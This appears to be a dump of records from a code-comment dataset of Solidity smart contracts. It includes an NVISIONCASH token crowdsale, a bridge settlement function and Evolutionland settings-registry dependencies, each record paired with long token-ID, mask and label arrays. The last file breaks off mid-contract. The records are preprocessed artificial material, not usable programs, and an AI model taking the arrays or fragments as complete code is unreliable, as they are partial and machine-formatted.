* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint _value) public {
require(_value > 0);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
event Burn(address indexed burner, uint indexed value);
}
contract NVISIONCASH is BurnableToken {
string public constant name = "NVISION CASH TOKEN";
string public constant symbol = "NVCT";
uint32 public constant decimals = 18;
uint256 public INITIAL_SUPPLY = 27500000 * 1 ether;
function NVISIONCASH() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
contract Crowdsale is Ownable {
using SafeMath for uint;
NVISIONCASH public token = new NVISIONCASH();
uint per_p_sale;
uint per_sale;
uint start_ico;
uint rate;
uint256 public ini_supply;
function Crowdsale() public {
rate = 50000 * 1 ether;
ini_supply = 27500000 * 1 ether;
uint256 ownerTokens = 2750000 * 1 ether;
token.transfer(owner, ownerTokens);
}
uint public refferBonus = 7;
function createTokens(address refferAddress) payable public {
uint tokens = rate.mul(msg.value).div(1 ether);
uint refferGetToken = tokens.div(100).mul(refferBonus);
token.transfer(msg.sender, tokens);
token.transfer(refferAddress, refferGetToken);
}
function createTokensWithoutReffer() payable public {
uint tokens = rate.mul(msg.value).div(1 ether);
token.transfer(msg.sender, tokens);
}
function refferBonusFunction(uint bonuseInpercentage) public onlyOwner{
refferBonus=bonuseInpercentage;
}
function airdropTokens(address[] _recipient,uint TokenAmount) public onlyOwner {
for(uint i = 0; i< _recipient.length; i++)
{
require(token.transfer(_recipient[i],TokenAmount));
}
}
//Just in case, owner wants to transfer Tokens from contract to owner address
function manualWithdrawToken(uint256 _amount) onlyOwner public {
uint tokenAmount = _amount * (1 ether);
token.transfer(msg.sender, tokenAmount);
}
function() external payable {
uint160 refferAddress = 0;
uint160 b = 0;
if(msg.data.length == 0)
{
createTokensWithoutReffer();
}
else
{
for (uint8 i = 0; i < 20; i++) {
refferAddress *= 256;
b = uint160(msg.data[i]);
refferAddress += (b);
}
createTokens(address(refferAddress));
}
forwardEherToOwner();
}
//Automatocally forwards ether from smart contract to owner address
function forwardEherToOwner() internal {
if (!owner.send(msg.value)) {
revert();
}
}
}
|
Automatocally forwards ether from smart contract to owner address
|
function forwardEherToOwner() internal {
if (!owner.send(msg.value)) {
revert();
}
}
| 2,309,962 |
[
1,
22932,
270,
504,
1230,
24578,
225,
2437,
628,
13706,
6835,
358,
3410,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
5104,
41,
1614,
774,
5541,
1435,
2713,
288,
203,
3639,
309,
16051,
8443,
18,
4661,
12,
3576,
18,
1132,
3719,
288,
203,
1850,
15226,
5621,
203,
3639,
289,
203,
1377,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x7FF5601B0A434b52345c57A01A28d63f3E892aC0/sources/contracts/utils/rollup/Settleable.sol
|
@notice Settles state changes. @notice Requirements: - {_settleable} must be true. - It must be called only by the bridge. - Batch index must be valid. - Merkle proof must be verified.
|
function settle(
uint8 originDomainID,
bytes32 resourceID,
uint64 nonce,
bytes32[] calldata proof,
bytes32 rootHash,
bytes calldata data
) external {
require(msg.sender == getBridge(), "Settleable: not from bridge");
uint72 nonceAndID = (uint72(nonce) << 8) | uint72(originDomainID);
(uint64 batchIndex, KeyValuePair[] memory pairs) = abi.decode(
data,
(uint64, KeyValuePair[])
);
require(
_executedBatches[nonceAndID] == batchIndex,
"Settleable: invalid batch index"
);
require(
MerkleProof.verifyCalldata(proof, rootHash, keccak256(data)),
"Settleable: failed to verify"
);
_executedBatches[nonceAndID]++;
_settle(pairs, resourceID);
}
| 16,521,948 |
[
1,
694,
88,
1040,
919,
3478,
18,
225,
29076,
30,
300,
288,
67,
542,
5929,
429,
97,
1297,
506,
638,
18,
300,
2597,
1297,
506,
2566,
1338,
635,
326,
10105,
18,
300,
5982,
770,
1297,
506,
923,
18,
300,
31827,
14601,
1297,
506,
13808,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
5929,
12,
203,
3639,
2254,
28,
4026,
3748,
734,
16,
203,
3639,
1731,
1578,
1058,
734,
16,
203,
3639,
2254,
1105,
7448,
16,
203,
3639,
1731,
1578,
8526,
745,
892,
14601,
16,
203,
3639,
1731,
1578,
1365,
2310,
16,
203,
3639,
1731,
745,
892,
501,
203,
565,
262,
3903,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
2882,
5404,
9334,
315,
694,
5929,
429,
30,
486,
628,
10105,
8863,
203,
203,
3639,
2254,
9060,
7448,
1876,
734,
273,
261,
11890,
9060,
12,
12824,
13,
2296,
1725,
13,
571,
2254,
9060,
12,
10012,
3748,
734,
1769,
203,
203,
3639,
261,
11890,
1105,
2581,
1016,
16,
16793,
4154,
8526,
3778,
5574,
13,
273,
24126,
18,
3922,
12,
203,
5411,
501,
16,
203,
5411,
261,
11890,
1105,
16,
16793,
4154,
63,
5717,
203,
3639,
11272,
203,
203,
3639,
2583,
12,
203,
5411,
389,
4177,
4817,
31584,
63,
12824,
1876,
734,
65,
422,
2581,
1016,
16,
203,
5411,
315,
694,
5929,
429,
30,
2057,
2581,
770,
6,
203,
3639,
11272,
203,
3639,
2583,
12,
203,
5411,
31827,
20439,
18,
8705,
1477,
892,
12,
24207,
16,
1365,
2310,
16,
417,
24410,
581,
5034,
12,
892,
13,
3631,
203,
5411,
315,
694,
5929,
429,
30,
2535,
358,
3929,
6,
203,
3639,
11272,
203,
3639,
389,
4177,
4817,
31584,
63,
12824,
1876,
734,
3737,
15,
31,
203,
203,
3639,
389,
542,
5929,
12,
11545,
16,
1058,
734,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Dependency file: openzeppelin-solidity/contracts/ownership/Ownable.sol
// pragma solidity ^0.4.24;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// Dependency file: @evolutionland/common/contracts/interfaces/IInterstellarEncoder.sol
// pragma solidity ^0.4.24;
contract IInterstellarEncoder {
uint256 constant CLEAR_HIGH = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffffff;
uint256 public constant MAGIC_NUMBER = 42; // Interstellar Encoding Magic Number.
uint256 public constant CHAIN_ID = 1; // Ethereum mainet.
uint256 public constant CURRENT_LAND = 1; // 1 is Atlantis, 0 is NaN.
enum ObjectClass {
NaN,
LAND,
APOSTLE,
OBJECT_CLASS_COUNT
}
function registerNewObjectClass(address _objectContract, uint8 objectClass) public;
function registerNewTokenContract(address _tokenAddress) public;
function encodeTokenId(address _tokenAddress, uint8 _objectClass, uint128 _objectIndex) public view returns (uint256 _tokenId);
function encodeTokenIdForObjectContract(
address _tokenAddress, address _objectContract, uint128 _objectId) public view returns (uint256 _tokenId);
function getContractAddress(uint256 _tokenId) public view returns (address);
function getObjectId(uint256 _tokenId) public view returns (uint128 _objectId);
function getObjectClass(uint256 _tokenId) public view returns (uint8);
function getObjectAddress(uint256 _tokenId) public view returns (address);
}
// Dependency file: @evolutionland/common/contracts/InterstellarEncoder.sol
// pragma solidity ^0.4.24;
// import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
// import "@evolutionland/common/contracts/interfaces/IInterstellarEncoder.sol";
contract InterstellarEncoder is IInterstellarEncoder, Ownable {
// [magic_number, chain_id, contract_id <2>, origin_chain_id, origin_contract_id<2>, object_class, convert_type, <6>, land, <128>]
mapping(uint16 => address) public contractId2Address;
mapping(address => uint16) public contractAddress2Id;
mapping(address => uint8) public objectContract2ObjectClass;
uint16 public lastContractId = 0;
function encodeTokenId(address _tokenAddress, uint8 _objectClass, uint128 _objectId) public view returns (uint256 _tokenId) {
uint16 contractId = contractAddress2Id[_tokenAddress];
require(contractAddress2Id[_tokenAddress] > 0, "Contract address does not exist");
_tokenId = (MAGIC_NUMBER << 248) + (CHAIN_ID << 240) + (uint256(contractId) << 224)
+ (CHAIN_ID << 216) + (uint256(contractId) << 200) + (uint256(_objectClass) << 192) + (CURRENT_LAND << 128) + uint256(_objectId);
}
function encodeTokenIdForObjectContract(
address _tokenAddress, address _objectContract, uint128 _objectId) public view returns (uint256 _tokenId) {
require (objectContract2ObjectClass[_objectContract] > 0, "Object class for this object contract does not exist.");
_tokenId = encodeTokenId(_tokenAddress, objectContract2ObjectClass[_objectContract], _objectId);
}
function registerNewTokenContract(address _tokenAddress) public onlyOwner {
require(contractAddress2Id[_tokenAddress] == 0, "Contract address already exist");
require(lastContractId < 65535, "Contract Id already reach maximum.");
lastContractId += 1;
contractAddress2Id[_tokenAddress] = lastContractId;
contractId2Address[lastContractId] = _tokenAddress;
}
function registerNewObjectClass(address _objectContract, uint8 objectClass) public onlyOwner {
objectContract2ObjectClass[_objectContract] = objectClass;
}
function getContractAddress(uint256 _tokenId) public view returns (address) {
return contractId2Address[uint16((_tokenId << 16) >> 240)];
}
function getObjectId(uint256 _tokenId) public view returns (uint128 _objectId) {
return uint128(_tokenId & CLEAR_HIGH);
}
}
// Dependency file: @evolutionland/common/contracts/interfaces/ISettingsRegistry.sol
// pragma solidity ^0.4.24;
contract ISettingsRegistry {
enum SettingsValueTypes { NONE, UINT, STRING, ADDRESS, BYTES, BOOL, INT }
function uintOf(bytes32 _propertyName) public view returns (uint256);
function stringOf(bytes32 _propertyName) public view returns (string);
function addressOf(bytes32 _propertyName) public view returns (address);
function bytesOf(bytes32 _propertyName) public view returns (bytes);
function boolOf(bytes32 _propertyName) public view returns (bool);
function intOf(bytes32 _propertyName) public view returns (int);
function setUintProperty(bytes32 _propertyName, uint _value) public;
function setStringProperty(bytes32 _propertyName, string _value) public;
function setAddressProperty(bytes32 _propertyName, address _value) public;
function setBytesProperty(bytes32 _propertyName, bytes _value) public;
function setBoolProperty(bytes32 _propertyName, bool _value) public;
function setIntProperty(bytes32 _propertyName, int _value) public;
function getValueTypeOf(bytes32 _propertyName) public view returns (uint /* SettingsValueTypes */ );
event ChangeProperty(bytes32 indexed _propertyName, uint256 _type);
}
// Dependency file: @evolutionland/common/contracts/interfaces/IAuthority.sol
// pragma solidity ^0.4.24;
contract IAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
// Dependency file: @evolutionland/common/contracts/DSAuth.sol
// pragma solidity ^0.4.24;
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/@evolutionland/common/contracts/interfaces/IAuthority.sol';
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
/**
* @title DSAuth
* @dev The DSAuth contract is reference implement of https://github.com/dapphub/ds-auth
* But in the isAuthorized method, the src from address(this) is remove for safty concern.
*/
contract DSAuth is DSAuthEvents {
IAuthority public authority;
address public owner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
emit LogSetOwner(owner);
}
function setAuthority(IAuthority authority_)
public
auth
{
authority = authority_;
emit LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == owner) {
return true;
} else if (authority == IAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
// Dependency file: @evolutionland/common/contracts/SettingsRegistry.sol
// pragma solidity ^0.4.24;
// import "@evolutionland/common/contracts/interfaces/ISettingsRegistry.sol";
// import "@evolutionland/common/contracts/DSAuth.sol";
/**
* @title SettingsRegistry
* @dev This contract holds all the settings for updating and querying.
*/
contract SettingsRegistry is ISettingsRegistry, DSAuth {
mapping(bytes32 => uint256) public uintProperties;
mapping(bytes32 => string) public stringProperties;
mapping(bytes32 => address) public addressProperties;
mapping(bytes32 => bytes) public bytesProperties;
mapping(bytes32 => bool) public boolProperties;
mapping(bytes32 => int256) public intProperties;
mapping(bytes32 => SettingsValueTypes) public valueTypes;
function uintOf(bytes32 _propertyName) public view returns (uint256) {
require(valueTypes[_propertyName] == SettingsValueTypes.UINT, "Property type does not match.");
return uintProperties[_propertyName];
}
function stringOf(bytes32 _propertyName) public view returns (string) {
require(valueTypes[_propertyName] == SettingsValueTypes.STRING, "Property type does not match.");
return stringProperties[_propertyName];
}
function addressOf(bytes32 _propertyName) public view returns (address) {
require(valueTypes[_propertyName] == SettingsValueTypes.ADDRESS, "Property type does not match.");
return addressProperties[_propertyName];
}
function bytesOf(bytes32 _propertyName) public view returns (bytes) {
require(valueTypes[_propertyName] == SettingsValueTypes.BYTES, "Property type does not match.");
return bytesProperties[_propertyName];
}
function boolOf(bytes32 _propertyName) public view returns (bool) {
require(valueTypes[_propertyName] == SettingsValueTypes.BOOL, "Property type does not match.");
return boolProperties[_propertyName];
}
function intOf(bytes32 _propertyName) public view returns (int) {
require(valueTypes[_propertyName] == SettingsValueTypes.INT, "Property type does not match.");
return intProperties[_propertyName];
}
function setUintProperty(bytes32 _propertyName, uint _value) public auth {
require(
valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.UINT, "Property type does not match.");
uintProperties[_propertyName] = _value;
valueTypes[_propertyName] = SettingsValueTypes.UINT;
emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.UINT));
}
function setStringProperty(bytes32 _propertyName, string _value) public auth {
require(
valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.STRING, "Property type does not match.");
stringProperties[_propertyName] = _value;
valueTypes[_propertyName] = SettingsValueTypes.STRING;
emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.STRING));
}
function setAddressProperty(bytes32 _propertyName, address _value) public auth {
require(
valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.ADDRESS, "Property type does not match.");
addressProperties[_propertyName] = _value;
valueTypes[_propertyName] = SettingsValueTypes.ADDRESS;
emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.ADDRESS));
}
function setBytesProperty(bytes32 _propertyName, bytes _value) public auth {
require(
valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.BYTES, "Property type does not match.");
bytesProperties[_propertyName] = _value;
valueTypes[_propertyName] = SettingsValueTypes.BYTES;
emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.BYTES));
}
function setBoolProperty(bytes32 _propertyName, bool _value) public auth {
require(
valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.BOOL, "Property type does not match.");
boolProperties[_propertyName] = _value;
valueTypes[_propertyName] = SettingsValueTypes.BOOL;
emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.BOOL));
}
function setIntProperty(bytes32 _propertyName, int _value) public auth {
require(
valueTypes[_propertyName] == SettingsValueTypes.NONE || valueTypes[_propertyName] == SettingsValueTypes.INT, "Property type does not match.");
intProperties[_propertyName] = _value;
valueTypes[_propertyName] = SettingsValueTypes.INT;
emit ChangeProperty(_propertyName, uint256(SettingsValueTypes.INT));
}
function getValueTypeOf(bytes32 _propertyName) public view returns (uint256 /* SettingsValueTypes */ ) {
return uint256(valueTypes[_propertyName]);
}
}
// Dependency file: @evolutionland/common/contracts/SettingIds.sol
// pragma solidity ^0.4.24;
/**
Id definitions for SettingsRegistry.sol
Can be used in conjunction with the settings registry to get properties
*/
contract SettingIds {
bytes32 public constant CONTRACT_RING_ERC20_TOKEN = "CONTRACT_RING_ERC20_TOKEN";
bytes32 public constant CONTRACT_KTON_ERC20_TOKEN = "CONTRACT_KTON_ERC20_TOKEN";
bytes32 public constant CONTRACT_GOLD_ERC20_TOKEN = "CONTRACT_GOLD_ERC20_TOKEN";
bytes32 public constant CONTRACT_WOOD_ERC20_TOKEN = "CONTRACT_WOOD_ERC20_TOKEN";
bytes32 public constant CONTRACT_WATER_ERC20_TOKEN = "CONTRACT_WATER_ERC20_TOKEN";
bytes32 public constant CONTRACT_FIRE_ERC20_TOKEN = "CONTRACT_FIRE_ERC20_TOKEN";
bytes32 public constant CONTRACT_SOIL_ERC20_TOKEN = "CONTRACT_SOIL_ERC20_TOKEN";
bytes32 public constant CONTRACT_OBJECT_OWNERSHIP = "CONTRACT_OBJECT_OWNERSHIP";
bytes32 public constant CONTRACT_TOKEN_LOCATION = "CONTRACT_TOKEN_LOCATION";
bytes32 public constant CONTRACT_LAND_BASE = "CONTRACT_LAND_BASE";
bytes32 public constant CONTRACT_USER_POINTS = "CONTRACT_USER_POINTS";
bytes32 public constant CONTRACT_INTERSTELLAR_ENCODER = "CONTRACT_INTERSTELLAR_ENCODER";
bytes32 public constant CONTRACT_DIVIDENDS_POOL = "CONTRACT_DIVIDENDS_POOL";
bytes32 public constant CONTRACT_TOKEN_USE = "CONTRACT_TOKEN_USE";
bytes32 public constant CONTRACT_REVENUE_POOL = "CONTRACT_REVENUE_POOL";
bytes32 public constant CONTRACT_ERC721_BRIDGE = "CONTRACT_ERC721_BRIDGE";
bytes32 public constant CONTRACT_PET_BASE = "CONTRACT_PET_BASE";
// Cut owner takes on each auction, measured in basis points (1/100 of a percent).
// this can be considered as transaction fee.
// Values 0-10,000 map to 0%-100%
// set ownerCut to 4%
// ownerCut = 400;
bytes32 public constant UINT_AUCTION_CUT = "UINT_AUCTION_CUT"; // Denominator is 10000
bytes32 public constant UINT_TOKEN_OFFER_CUT = "UINT_TOKEN_OFFER_CUT"; // Denominator is 10000
// Cut referer takes on each auction, measured in basis points (1/100 of a percent).
// which cut from transaction fee.
// Values 0-10,000 map to 0%-100%
// set refererCut to 4%
// refererCut = 400;
bytes32 public constant UINT_REFERER_CUT = "UINT_REFERER_CUT";
bytes32 public constant CONTRACT_LAND_RESOURCE = "CONTRACT_LAND_RESOURCE";
}
// Dependency file: @evolutionland/common/contracts/interfaces/ERC223ReceivingContract.sol
// pragma solidity ^0.4.23;
/*
* Contract that is working with ERC223 tokens
* https://github.com/ethereum/EIPs/issues/223
*/
/// @title ERC223ReceivingContract - Standard contract implementation for compatibility with ERC223 tokens.
contract ERC223ReceivingContract {
/// @dev Function that is called when a user or another contract wants to transfer funds.
/// @param _from Transaction initiator, analogue of msg.sender
/// @param _value Number of tokens to transfer.
/// @param _data Data containig a function signature and/or parameters
function tokenFallback(address _from, uint256 _value, bytes _data) public;
}
// Dependency file: @evolutionland/common/contracts/interfaces/TokenController.sol
// pragma solidity ^0.4.23;
/// @dev The token controller contract must implement these functions
contract TokenController {
/// @notice Called when `_owner` sends ether to the MiniMe Token contract
/// @param _owner The address that sent the ether to create tokens
/// @return True if the ether is accepted, false if it throws
function proxyPayment(address _owner, bytes4 sig, bytes data) payable public returns (bool);
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param _from The origin of the transfer
/// @param _to The destination of the transfer
/// @param _amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function onTransfer(address _from, address _to, uint _amount) public returns (bool);
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param _owner The address that calls `approve()`
/// @param _spender The spender in the `approve()` call
/// @param _amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function onApprove(address _owner, address _spender, uint _amount) public returns (bool);
}
// Dependency file: @evolutionland/common/contracts/interfaces/ApproveAndCallFallBack.sol
// pragma solidity ^0.4.23;
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
// Dependency file: @evolutionland/common/contracts/interfaces/ERC223.sol
// pragma solidity ^0.4.23;
contract ERC223 {
function transfer(address to, uint amount, bytes data) public returns (bool ok);
function transferFrom(address from, address to, uint256 amount, bytes data) public returns (bool ok);
event ERC223Transfer(address indexed from, address indexed to, uint amount, bytes data);
}
// Dependency file: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
// pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// Dependency file: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
// pragma solidity ^0.4.24;
// import "openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol";
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// Dependency file: openzeppelin-solidity/contracts/math/SafeMath.sol
// pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// Dependency file: @evolutionland/common/contracts/StandardERC20Base.sol
// pragma solidity ^0.4.23;
// import '/Users/echo/workspace/contract/evolutionlandorg/land/node_modules/openzeppelin-solidity/contracts/token/ERC20/ERC20.sol';
// import "openzeppelin-solidity/contracts/math/SafeMath.sol";
contract StandardERC20Base is ERC20 {
using SafeMath for uint256;
uint256 _supply;
mapping (address => uint256) _balances;
